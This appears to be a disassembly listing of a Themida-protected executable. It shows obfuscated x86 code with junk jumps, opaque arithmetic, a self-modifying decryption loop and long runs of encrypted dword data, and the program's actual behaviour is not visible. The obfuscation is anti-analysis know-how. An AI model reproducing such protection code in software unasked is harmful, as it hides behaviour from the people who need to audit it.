		sub	edi, 14E76EBDh
		mov	[ebp+6102161h],	edx
		add	edi, 14E76EB9h
		movzx	edx, cx
		cmp	edi, 0FFFF9098h
		jnz	loc_5BDD45
		push	eax
		mov	bx, ax
		pop	edx
		jmp	loc_5BDD5C
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0C9122A4h, 9F163741h, 0A231677Dh, 92B3156Bh
		db 2Bh
; ---------------------------------------------------------------------------


loc_5BDD45:				; CODE XREF: Themida_:005BDD23j
		push	edi
		clc
		pop	ebx
		jmp	loc_5BDCCC
; ---------------------------------------------------------------------------
		db 51h,	13h, 0ECh
		dd 2E6A3F50h, 0B581B3F2h, 876E51CFh
; ---------------------------------------------------------------------------


loc_5BDD5C:				; CODE XREF: Themida_:005BDD2Ej
		call	near ptr loc_5BDD73+2
		mov	ebx, 0DE5E8023h
		loop	loc_5BDD71
		inc	edi
		dec	eax
		aas
		shl	byte ptr [esi+7923C2D4h], cl


loc_5BDD71:				; CODE XREF: Themida_:005BDD66j
		mov	cl, ah


loc_5BDD73:				; CODE XREF: Themida_:loc_5BDD5Cp
		lds	esp, [edx-75h]
; ---------------------------------------------------------------------------
		dw 0FD8Dh
; ---------------------------------------------------------------------------
		daa
		adc	[esi], al
		pop	edx
		mov	ecx, [ebp+6101699h]
		add	edx, 6E1Eh
		movzx	eax, si
		push	0
		mov	[ebp+6102DB1h],	esi
		pop	esi
		clc


loc_5BDD98:				; CODE XREF: Themida_:005BDE03j
		mov	edi, [edx+esi]
		pusha
		adc	edx, 3785E78h
		sbb	ax, 7C2Dh
		popa
		sub	edi, 2CB85AF3h
		jmp	loc_5BDDBB
; ---------------------------------------------------------------------------
		db 0BDh
		dd 33562A1Ch
		db 57h,	7Ch, 0E3h
; ---------------------------------------------------------------------------


loc_5BDDBB:				; CODE XREF: Themida_:005BDDAEj
		add	edi, 1F36654h
		mov	eax, [ebp+6101CA5h]
		add	edi, 63465AEFh
		mov	[ebp+6101AD5h],	eax
		mov	[edx+esi], edi
		or	[ebp+61023C5h],	esi
		jmp	loc_5BDDF4
; ---------------------------------------------------------------------------
		db 75h,	2Dh, 76h
		dd 0BBB57C8h, 496E3B0Bh, 0A632219Ch, 58525FB4h
; ---------------------------------------------------------------------------


loc_5BDDF4:				; CODE XREF: Themida_:005BDDDCj
		sub	esi, 4
		sub	ecx, 2C702A2Ah
		cmp	esi, 0FFFF928Ch
		jnz	loc_5BDD98
		xor	[ebp+610200Dh],	ecx
		lea	ecx, [ebp+6172ABDh]
		call	sub_5BDE29
		xor	al, [ecx+482D9F06h]
		in	eax, 62h	; PC/XT	PPI port C. Bits:
					; 0-3: values of DIP switches
					; 5: 1=Timer 2 channel out
					; 6: 1=I/O channel check
					; 7: 1=RAM parity check	error occurred.
		out	dx, eax
		mov	[edi-44h], cl
		add	eax, [edi-6Eh]

; =============== S U B	R O U T	I N E =======================================



sub_5BDE29	proc near		; CODE XREF: Themida_:005BDE15p
		adc	eax, 2F67AEF4h
		pop	edx
		mov	[ebp+61009F5h],	ecx
		mov	ax, di
		mov	dword ptr [ebp+6102319h], 5874h
		push	0
		push	esi
		call	sub_5BDE4E
		and	[esi-3Dh], bl
sub_5BDE29	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BDE4E	proc near		; CODE XREF: sub_5BDE29+1Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5BDE4E	endp

; ---------------------------------------------------------------------------
		dw 0A162h
		dd 6287048Ah, 234E89C9h, 1CC1958Bh, 810F0610h, 18h, 0CE8h
		dd 0FC396400h, 0A92AB12Ch, 995E555Dh, 0D1CF8183h, 5A17A833h
		dd 22C185C7h, 610h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 140424h, 53430000h, 958B84C3h, 6100D61h
		dd 1211B5FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8A5958C3h, 0BD8B50F8h, 6100BADh
		dd 0B995FF5Bh, 6A06102Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 6F24C355h, 6F8FA2EDh
		dd 4DF3BF66h, 5860Fh, 81660000h, 3ED19DFh, 100C9185h, 0FF006A06h
		dd 1031C995h, 0EBC08B06h, 31F98919h, 0EE825E1Ch, 0E7294760h
		dd 375BE66Ah, 5ED52280h, 0CBA2D119h, 8D8DB0AEh,	6172B90h
		dd 2D219D29h, 8D890610h, 61009F5h, 1952BE66h, 1A6D858Bh
		dd 85C70610h, 6102319h,	6518h, 12E977B3h, 0D4000000h, 0DF4618F3h
		dd 0CA480CC2h, 2865B9ECh, 0AB744A3Eh, 0C185C75Ch, 61022h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 7B6BC351h, 0FFF8BB16h,	1030C5B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CA63A22h, 1252496Ch, 0D78B1CA5h, 95FFC68Bh
		dd 6102DB9h, 0BE9h, 0AA581600h,	62AC76E9h, 7C71E170h, 95FF006Ah
		dd 61031C9h, 3CEBC08Bh,	0AB6F729Bh, 51AB9749h, 2F2DA4B2h
		dd 8B68E787h, 0B440D97h, 0FCCECB02h, 5DF507FBh,	0DBD52149h
		dd 21D88ACDh, 4D21D116h, 0F76C3237h, 0A7DEDD11h, 17879F20h
		dd 0CE775A18h, 0DC1C0FF0h, 2CF38D8Dh, 6A0617h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 897A1EC3h, 1009F58Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 88A98F8Ch, 231985C7h
		dd 607C0610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0C6E3A4C3h, 1307F957h, 8B66B74Ah
		dd 16860FFAh, 0E9000000h, 11h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh
		dd 0CC493E19h, 0C185C7D2h, 61022h, 0E9000000h, 0Ch, 5444715h
		dd 9B21D710h, 98490251h, 30C5B5FFh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 161E21C3h
		dd 0EFBE86A0h, 9D29CB54h, 6100BDDh, 0AE9h, 0FE8D1600h
		dd 37B9FE83h, 0FFAD377Eh, 102DB995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0D4B708D0h
		dd 9D95896Dh, 6A06101Ah, 0C995FF00h, 8B061031h,	0CA3CEBC0h
		dd 69383034h, 12EB5B3Ah, 0A86E4E4h, 0D66C83B4h,	0A18BC2ACh
		dd 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h, 8DE84F9h, 68C1E445h
		dd 5BEC4CD5h, 0F73ADDD5h, 1FF1E07Fh, 0ED5FB511h, 0E8B4BCD2h
		dd 9, 0D7E55712h, 334BEC5Ch, 68F0FBAh, 31000000h, 1004798Dh
		dd 8E85F06h, 18000000h,	3F9EEA16h, 53D9AAA8h, 58C78B66h
		dd 13C78158h, 0E8000066h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh
		dd 0E982D050h, 12h, 9A4179F8h, 0CBAA622Eh, 0DE8CC636h
		dd 0B718EAC0h, 0BA586BE4h, 62D6602Bh, 7979F281h, 0D88162D6h
		dd 71BBAF5Fh, 81F5378Bh, 0F0B256C6h, 8102B001h,	0EF5B20EEh
		dd 0D99D895Ah, 81061001h, 142DB4F6h, 59858933h,	56061007h
		dd 6CC98166h, 8B078F2Ch, 10132185h, 2EF8306h, 14E9h, 0ACE14500h
		dd 73291B37h, 0B02FC089h, 1660179Fh, 0C7A05DC2h, 664F4FD7h
		dd 89EECB81h, 0F01EA83h, 0FFFFA385h, 8D9D8BFFh,	8D061022h
		dd 172EF88Dh, 5E906h, 0FE870000h, 89A502D5h, 1009F58Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 791F8988h, 0AAFE82CEh, 231985C7h, 65700610h
		dd 858B0000h, 6100A09h,	4C77BE66h, 22C185C7h, 610h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 937CE7C3h, 9C6A85BFh, 0AE998h, 40940000h, 69A561BEh
		dd 0F07C560Dh, 865B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0D30C1BC3h, 29A99D8Bh
		dd 95FF0610h, 6102DB9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 73C35646h, 0C58AB8C9h, 98E0F50h, 60000000h
		dd 0D8D68166h, 615CB064h, 95FF006Ah, 61031C9h, 59EBC08Bh
		dd 5BD27244h, 5C56AD43h, 59830FBDh, 56C58865h, 9CA44304h
		dd 615CFA72h, 8B43F9DBh, 0C1670DE0h, 0E643689h,	0C6DAB8F9h
		dd 0EA09AF38h, 73D17887h, 0D38AF631h, 779B0FC5h, 6C0FC0A9h
		dd 0B60ECBC2h, 0FC63F092h, 23205BEh, 38684EACh,	4C429571h
		dd 735510F3h, 0E1F08075h, 8E8F1h, 0D0B30000h, 669B002Fh
		dd 89583E64h, 102025B5h, 7AC08106h, 3100006Dh, 1008AD9Dh
		dd 0B906h, 0B50B0000h, 6100D55h, 5A0134FFh, 29419D89h
		dd 0C2810610h, 1455BF08h, 6E9h,	94BBA200h, 81C68C6Eh, 8D80D1F2h
		dd 8F0F45h, 81000000h, 9EAFA3EAh, 0D4D78035h, 81081489h
		dd 0CC95A2EFh, 0AFFABE67h, 0E9815C0Ch, 7971B429h, 48E0Fh
		dd 0BF660000h, 0C181AB23h, 7971B425h, 81FE8B66h, 0FF931CF9h
		dd 9D850FFFh, 0E9FFFFFFh, 0Ch, 6C7DC276h, 43AA2A48h, 21AB4772h
		dd 23E585C6h, 68560610h, 0A9C530DFh, 1D45B5FFh,	858D0610h
		dd 613858Ah, 8D8DD0FFh,	61015A5h, 0FF406A51h, 1006C9B5h
		dd 1DB5FF06h, 0FF061009h, 0C9B5FFD0h, 0FF061006h, 10091DB5h
		dd 9E806h, 0F0CA0000h, 8ECD974Bh, 5ECFC336h, 4EE835Eh
		dd 2242CC1h, 22424C1h, 0F7243403h, 0C033241Ch, 5A3034FFh
		dd 63C0F281h, 0C2814253h, 7524433Ah, 0DB7CF281h, 1489125Dh
		dd 1E88306h, 3B484848h,	850F2404h, 0FFFFFFD8h, 0F519D8Dh
		dd 38B0610h, 840FC00Bh,	7, 5B8B038Bh, 8B188904h, 0E6E9C9h
		dd 94EF0000h, 9CD70681h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5BFAD3
; ---------------------------------------------------------------------------
		push	6173373h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61734A4h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	617359Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61736CBh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	617375Dh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	617382Ch
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61738E2h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6173970h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6173A4Ah
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6173BB4h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6173CC2h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6173E2Ah
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6173F06h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6174065h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6174185h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6174341h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6174417h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		add	dl, [eax+0Dh]
		push	ecx
		retf	0EB22h
; ---------------------------------------------------------------------------
		dw 0E86Fh
		dd 0C5540841h, 0F269E522h, 5D4BFF3Eh, 0D211B321h, 0ED2EDF56h
		dd 944EA71h, 0E81DC655h, 84877974h, 6BDB4E3Eh, 3253D9D6h
		dd 0AF2A4479h, 0DEA0BDFEh, 0DB1CCD8Ch, 598E35FEh, 627980E5h
		dd 11B8A188h, 0D24E67FCh, 96CF771Eh, 952E9423h,	3FB2FBFEh
		dd 4092397Bh, 0F8000000h, 0DF83BD5Ch, 8B7EF0A4h, 6DCC7C37h
		dd 536F53CFh, 0F0F75479h, 0AA951F64h, 59DDC904h, 9178607Dh
		dd 67FCD1A0h, 95D27544h, 0BA66C2B8h, 3CD053EBh,	6201B294h
		dd 7A8A4687h, 0DD2639h,	32640000h, 39504479h, 1BA76297h
		dd 0FB6DCC7Ch, 0C5A1E084h, 590CCFA1h, 0B591C67Dh, 968865C1h
		dd 5F1348FFh, 8A38F30Dh, 6A923383h, 0A962D9EEh,	8B11B874h
		dd 749233FEh, 0CB488DCBh, 966CCE13h, 0D077FEBAh, 0FB1AE79Bh
		dd 61B0EE0h, 7E980382h,	0D8D30ABBh, 9423066Ah, 0BEB28E8Ah
		dd 31E526C7h, 463C1135h, 0A64910EAh, 75CA9469h,	0A8637D5Eh
		dd 9E15CE0Bh, 83BA72E9h, 1752F88Fh, 5C1E3Bh, 0A91910EEh
		dd 4D9E10BDh, 55E4FCD1h, 41B874B3h, 0D611B58Fh,	0BCF7AB2Ah
		dd 0F90FBC98h, 37403569h, 124B765Fh, 0FBF0000h,	0E38910CCh
		dd 4A930ACh, 0E3880FCBh, 1A332A6h, 0E42006C2h, 1793D276h
		dd 30ACEDA0h, 0ECA05A9h, 2FABE087h, 0F949403Ch,	1D6BDB4Fh
		dd 7E32F4C0h, 530C8B3Fh, 5C1CAA1Eh, 324C1EBDh, 0DBC704A7h
		dd 0D6CA07BCh, 0AA61765Ah, 67FC7C89h, 0FD3CF06Bh, 4A502D09h
		dd 7BB8D33h, 0D8CCA8CCh, 617B6566h, 0F0836CE4h,	9A9630DBh
		dd 3E759423h, 4F6F42A7h, 0E4F397Bh, 0BD000001h,	4A97932h
		dd 775BD7CBh, 0F62FD665h, 0A5518A3Fh, 0DBFAACC1h, 6F36EA29h
		dd 6DCC01E9h, 0E8649952h, 62A14316h, 1E95B2AEh,	6F443065h
		dd 0B2597368h, 9803F1B1h, 0BC04A833h, 16E8F96Bh, 596E521Ch
		dd 0CDB3CDA9h, 233964DEh, 0FBAE8094h, 94233947h, 0CA9FC39Fh
		dd 0FDAF2A14h, 37F61CB5h, 294D990Fh, 0BA08037Dh, 5A9423CEh
		dd 86F5E2FEh, 1E70D1B2h, 676E0FECh, 0D6FA35D9h,	598E3504h
		dd 0CCB4C9ADh, 15C765DDh, 0FCAF819Eh, 9E10BD46h, 0CC9EC29Eh
		dd 65DDCCB2h, 819E10BDh, 590BC8A5h, 6B1E401Ah, 9E10BDD7h
		dd 0A016332Fh, 93387719h, 4035694Bh, 1AE8F1A5h,	8E000011h
		dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh,	0D9CF8BCAh
		dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h
		dd 6BDB48B2h, 0D7CF5552h, 74206104h, 0AC60DBF0h, 0C16AF16Dh
		dd 0A28EB583h, 330F4255h, 0CF744719h, 9382DE92h, 6DCCB12Fh
		dd 0C88E6BC7h, 0A9793242h, 57DBC708h, 5710877Bh, 7CC57D2Ch
		dd 45216DCCh, 772EAD21h, 0F3D8523Eh, 0B3B4CDA7h, 1E570E6Bh
		dd 0F5D2EE72h, 0DC50853Eh, 952DDC02h, 716DCCD8h, 683ED8F5h
		dd 43E8585Fh, 1910EA06h, 67FC8488h, 0B5F6972Eh,	3C184DF6h
		dd 7114A779h, 0A1454430h, 1ACB8A66h, 34492DD9h,	0B2ADCE77h
		dd 6F6C8B8Ch, 4A55AE5Dh, 4C0F659Ah, 7A805D94h, 0F6FDF29Eh
		dd 38200BE5h, 0A69BADC4h, 0FF2D6D13h, 9FB458CAh, 721594B0h
		dd 6621835h, 89BE65F4h,	0B970EBD5h, 37F06B80h, 511F5502h
		dd 0A57145ABh, 102034h,	0AFF29400h, 8DC47CFBh, 6AA34AD1h
		dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh
		dd 54E35792h, 0C7C276ABh, 498C36F5h, 8B686BDBh,	447932C1h
		dd 0BDFEAF2Ah, 211DEA0h, 62D907D9h, 0B2596EAFh,	67FC1EC1h
		dd 0BF569C5h, 0A95D9C50h, 0A16ED4D7h, 0AA869423h, 0D9B5A1C6h
		dd 0DE587EA6h, 7E5D7C09h, 905CBD6Ch, 932A9E13h,	0BE90B4EFh
		dd 5F44F48Dh, 7F5CBE0Ch, 746ED87Fh, 0F68D9E13h,	14527B5Fh
		dd 0B35F437Fh, 0DE2FE805h, 4E3F8C1Ah, 0F39FD48Bh, 37F65A6Fh
		dd 54000000h, 4C1EBD5Ch, 0FCCA645Dh, 8A9D8267h,	0F67DD525h
		dd 0B835A8D6h, 70D8F893h, 0BBF7A54h, 17AD5CD0h,	2894233Fh
		dd 78E4A7Fh, 6B7C2863h,	0F55h, 0E71EC695h, 0BD5C3A12h
		dd 0BF5D4C1Eh, 2567F72Dh, 98B5F096h, 635A7DE2h,	272CB05h
		dd 0A2F134Ah, 0CF171348h, 97698D1Fh, 72E61BC4h,	1B073CE3h
		dd 0B2CC0FA6h, 1F17ACF7h, 10EA469Eh, 0F16DA249h, 59984C0Fh
		dd 27B4C9ADh, 6A574B80h, 0CBBE904Bh, 942D0FFAh,	6FC32804h
		dd 0A15E28A8h, 0EF3E4F5h, 0C7670000h, 9B51C884h, 0BC71E864h
		dd 9B50C783h, 0B96BEA5Eh, 0BCC8BE7Ah, 0DF5B9A4Eh, 0B874B558h
		dd 0D6528D41h, 0B773A85Fh, 8141E8D4h, 656BDB4Ah, 4402BC88h
		dd 36DCC7Ch, 0EB15E7F4h, 7CAC1615h, 0CC816DCCh,	0A289DB93h
		dd 6DCC7C20h, 6F8C68C4h, 0F72CF1B4h, 0D3AD8967h, 502A5F08h
		dd 0F9ADE289h, 5FD6607Dh, 327F73A8h, 932638A3h,	0C098B5EEh
		dd 14D1A8C9h, 851F4C9Eh, 59B7DA2Bh, 1C51FAB1h, 2BEF0C68h
		dd 9AB6EB94h, 311AF32Dh, 80693D40h, 0E61h, 36F235D5h, 56D209BFh
		dd 3DF12ADFh, 10CC09BEh, 34A8E789h, 0F498CA36h,	0CF82F9B5h
		dd 0E79B1A8Eh, 2A930ACh, 221E11CDh, 0DB4BDB67h,	0D65E3B6Bh
		dd 0B08296D7h, 0C1D9ADD9h, 0CC9678CAh, 0A4C09C6Dh, 0F81263B7h
		dd 0C499B1CBh, 0CA8050F7h, 637FE38Fh, 3A6F18AFh, 233D3F46h
		dd 0CC86DA68h, 0BF24056Dh, 0CBDA9D2Fh, 2BE057D3h, 0AB4AD9EEh
		dd 6AF5834Eh, 9126333h,	5CA90000h, 324C1EBDh, 0CC7CCB77h
		dd 1A2F2B6Dh, 2C0F4346h, 6BC767F7h, 0E627CA91h,	0F949403Ah
		dd 1D9424ACh, 30482541h, 11CD02A9h, 0F8ACE18Ah,	24AC15B1h
		dd 16C55494h, 0EA9F1A44h, 0BA61C5B1h, 9424AC08h, 855B70ECh
		dd 14CEED86h, 20CDA99Eh, 40310536h, 925B4C58h, 600000Dh
		dd 2EAD2164h, 0C8B3F76h, 19A01C55h, 0F6853976h,	0B1971352h
		dd 46852755h, 21620392h, 3D782EADh, 1C51FA81h, 0D8D3ADA0h
		dd 6BDB446Ah, 32870D8Ah, 39504479h, 22A95D92h, 11C802A1h
		dd 0FF71255Ah, 0CC7CB60Ch, 0EED24E6Dh, 1D743AC9h, 3247A115h
		dd 6AFFA46Dh, 0A3451433h, 0BE04A15Bh, 431F713Dh, 52F6D34Fh
		dd 850h, 0DDE77F6Ch, 84AFE06Ch,	4402DD67h, 36DCC7Ch, 1615E7F4h
		dd 67F72D9Ch, 4435D516h, 7884E81Eh, 0A9C39F63h,	88447932h
		dd 71255A11h, 94667584h, 14C8FC95h, 83B59A9Eh, 6AA34AA5h
		dd 992FC77Dh, 293C10BDh, 22F24031h, 0CDCB1h, 5B9E5000h
		dd 79B058DFh, 568F36C5h, 73B053E2h, 4D8C40B7h, 0FD6F9B91h
		dd 0C9500C4Bh, 0E473E728h, 0D047033Eh, 8366E217h, 44309279h
		dd 0D7D46BDBh, 4E79324Dh, 0CC7CE75Bh, 3F23FF6Dh, 0BAFBAE2Dh
		dd 918D6AC6h, 681C51FAh, 26C36261h, 336B29CBh, 7AFABh
		dd 0BD5C2100h, 0F85D4C1Eh, 667F72Dh, 0E289502Ah, 1AA31ADh
		dd 3591D8CCh, 349424B3h, 652436A5h, 9E14D10Ch, 0DAD603E8h
		dd 0D2748E85h, 0C42905F5h, 40310586h, 4E0B9C88h, 0C200000Ch
		dd 8A11CD10h, 0A82FABE2h, 8514C801h, 0B229A5E2h, 1D0BBFFEh
		dd 92D173E1h, 0ADEE9F16h, 0C904AA31h, 0A8DD8615h, 44473934h
		dd 6BDB45FEh, 32139916h, 63143B79h, 3FC22943h, 0FBA7E288h
		dd 30A75B77h, 4D053977h, 0F8366856h, 0FEB128DCh, 0FB6D5C1h
		dd 0A34F843Bh, 9AEFA3BFh, 1ACB6A09h, 4A2EFDD9h,	0F5A1DA8Fh
		dd 28C75C71h, 6AC404CDh, 702E433h, 0D7260000h, 7C4002A9h
		dd 0C8A46DCCh, 7C4BF8B3h, 0D2896DCCh, 3135E11Ch, 1610490Ch
		dd 46232A41h, 0A1BB20B7h, 0F74F66EAh, 0A8C29E67h, 89457A31h
		dd 70245912h, 95677483h, 8E520C6h, 307039F0h, 65F49E15h
		dd 0B07287C0h, 3D148DBEh, 800DE03Fh, 15352999h,	0DA51CD9Eh
		dd 280CF835h, 0E1999F4Ch, 9F774030h, 0B7436h, 346E800h
		dd 0E118D047h, 0FE37EE6Dh, 0DB18CB4Ah, 0F534D85Fh, 0C5375339h
		dd 0F168E423h, 0CC4BFF40h, 0D85FDB16h, 4B3EFA2Fh, 4608BA71h
		dd 0EFEC6BDBh, 44793225h, 0A75BDE50h, 1BC48F6Ch, 0FB5D3AE6h
		dd 7C9C26E5h, 0FC786DCCh, 7CA53CDFh, 5F1A8EC3h,	336B358Eh
		dd 4C873BFEh, 173B92Fh,	0D7130000h, 70245D04h, 0A35CD7F4h
		dd 0C7858C65h, 1F43D125h, 76AB5473h, 0EA565DC2h, 161A0647h
		dd 0F899203Ah, 0CBBEA2B7h, 67FC5DEEh, 95CA8118h, 2896C5B1h
		dd 0CB943C4Ah, 11DC19B8h, 0F1397AF4h, 44h, 2A9D75Bh, 6DCC7C40h
		dd 52B3C8A4h, 434618C3h, 67FC7C6Eh, 91D8CCA8h, 943C7C35h
		dd 7D29640Ah, 826EA75Eh, 0F5C26110h, 5B0E7D45h,	40E90D54h
		dd 0C809EC83h, 38397A59h, 0E195CA81h, 0D7006885h, 4A000000h
		dd 265B04D7h, 0ACE18A51h, 0F02FE1F8h, 0A9DE8504h, 0DE5D83FDh
		dd 3B37EB2Ah, 0CC7CF64Ch, 35120E6Dh, 1C90C57Eh,	0AA6C0942h
		dd 0DF5681EFh, 56AB210Ah, 0CB746DCCh, 26382296h, 0CC2EDF63h
		dd 1E3B376Dh, 0C9A338BFh, 47BB0CA4h, 0F5D25992h, 2D1828E3h
		dd 7CF867FAh, 0A7627C62h, 94219B1Bh, 0C63A1FFBh, 1F7A95DAh
		dd 0AE62D9EEh, 0C9909266h, 71565B0Ah, 0A50C624Bh, 2397BB27h
		dd 0CB1F094h, 4A04DB12h, 0A9F081Ch, 7E00000Ah, 46D589CCh
		dd 64F3679Eh, 51C884BDh, 6EED619Eh, 0C9BF7BBAh,	5E9D4FBDh
		dd 79BA6BEAh, 559036C5h, 74A962D9h, 40EBD5B8h, 6BDB4782h
		dd 32BF8562h, 6BFF367Eh, 0DAEB8E58h, 0FFAE4F6h,	6DCC12B3h
		dd 49883C53h, 0E0FDD95Dh, 0F328DF56h, 7932B137h, 92395044h
		dd 0D568E15Dh, 88000004h, 0F5C66663h, 0BE0ED7Ch, 83BD5C41h
		dd 73EFA3E0h, 6A637D4Fh, 0F69C8EAh, 87845999h, 67FCEC56h
		dd 0D98074F0h, 943C9C6Dh, 24D00DC2h, 0DAC601A5h, 0D6CA09BBh
		dd 41E0BF5Ah, 23B68A7Bh, 9427447Fh, 55B5F8FDh, 2A95397Ah
		dd 0F7000002h, 0CC7C5F02h, 0F0EB0A6Dh, 2BDE00DEh, 6DCC7C97h
		dd 7CE45E4Dh, 24006DCCh, 59CBF06Ch, 68F206A3h, 2CAE5572h
		dd 0B667F7A9h, 0C56D9AB5h, 5E7B94E9h, 2BAEC09Ch, 0B18B3F74h
		dd 2E4B822Ah, 9C0FEA5h,	6EC44E4Eh, 0DFD4C0A4h, 72E903D8h
		dd 938F83BAh, 0A2E7A2B6h, 649E15BBh, 1CC16308h,	0D7CF4030h
		dd 8FCCEh, 7BBE7000h, 599038BFh, 76AF56E5h, 539033C2h
		dd 6DAC60D7h, 5D8FFBF1h, 69F06CABh, 44D387C8h, 70E7639Eh
		dd 0E3C682B7h, 409032D9h, 77746BDBh, 447932ADh,	5D923950h
		dd 30CFF4A9h, 49053AF1h, 43DE477h, 40371410h, 336B356Dh
		dd 1744Dh, 7932BF00h, 2A542A44h, 0CC7CC37Fh, 6047236Dh
		dd 6DCC7CE2h, 55512602h, 0E4588D36h, 8963787Fh,	0FC11B9A2h
		dd 25D14D67h, 2396C876h, 6BAC5D94h, 316820B7h, 8E25D645h
		dd 83225142h, 90D17447h, 0B46B80E4h, 397B4059h,	245912C9h
		dd 2FDAF470h, 94239E93h, 6EE2F773h, 47h, 83BD5CDCh, 0AFC1A5DEh
		dd 0FC7CD7FCh, 954E0D67h, 9BB0B460h, 0EA718BE7h, 34F20746h
		dd 2383D965h, 0E8873C94h, 7CB76BEEh, 0C8CFAC88h, 397B3705h
		dd 0CDE5h, 0AA60DB00h, 6104836Fh, 42174420h, 98C21958h
		dd 3203C99Eh, 0CD02A979h, 731F560Eh, 0A81FD3EFh, 0BAD1C504h
		dd 9F23E611h, 776DCC7Ch, 0AC2BD7FBh, 0D2ACBEF3h, 0CC7C6BD7h
		dd 0BA8F8B6Dh, 45311A04h, 6D001619h, 38A08B60h,	16DCC49h
		dd 0EF380C4Ah, 18465023h, 9423803Ch, 98BCF5ACh,	96A385C6h
		dd 283934BCh, 0D6EF5356h, 2B076DCCh, 417F2A4Eh,	0A167FA1Bh
		dd 7C30ABC5h, 56FA813Dh, 5DCCB217h, 0B2624A04h,	79421h
		dd 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh
		dd 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h,	0AB9E1A4Fh
		dd 4268DAD1h, 0F8C6BDBh, 5B04D785h, 0E1F67A26h,	6577B65Ah
		dd 0D7F431D6h, 0FA2FD85Fh, 7932A83Eh, 51412A44h, 0FC2F022Dh
		dd 63622439h, 52D387BCh, 260h, 28BD5CAAh, 0CC7CC181h, 3749256Dh
		dd 0CC7CCE74h, 264A266Dh, 2DB35554h, 0CF4B67F7h, 0B3CA7423h
		dd 57299424h, 0AB0AB416h, 2338AF30h, 56E5E180h,	0A27E72B3h
		dd 50447F23h, 0AD00F7D4h, 8D39830Bh, 1F0h, 7C5F02FFh, 0EB0A6DCCh
		dd 0D12BDEF0h, 0A967F72Dh, 0ECDB3CDh, 914A1F56h, 0B229A5DAh
		dd 0E3D0C4F9h, 66F507D4h, 979B87BEh, 0AEEB9EC2h, 589E14CEh
		dd 61816FDCh, 0F7AF4031h, 6B8EEh, 377A2C00h, 154CF483h
		dd 326B2299h, 0F4CFF76h, 29681C9Bh, 194BB7B5h, 0F5843877h
		dd 20971354h, 0FC7B2F6Ah, 0AF9A0E43h, 4364DECDh, 23806BDBh
		dd 44793299h, 67923950h, 0CC7C1EA4h, 567AF66Dh,	0D611B584h
		dd 7531462Ah, 45EC8318h, 0DEDE609Eh, 4E2D9594h,	6DC96DCCh
		dd 73565280h, 97BB97CCh, 97955823h, 4975336Ah, 0D7000001h
		dd 50447932h, 0E15D9239h, 94667584h, 2D95946Ah,	0C96DCC7Ch
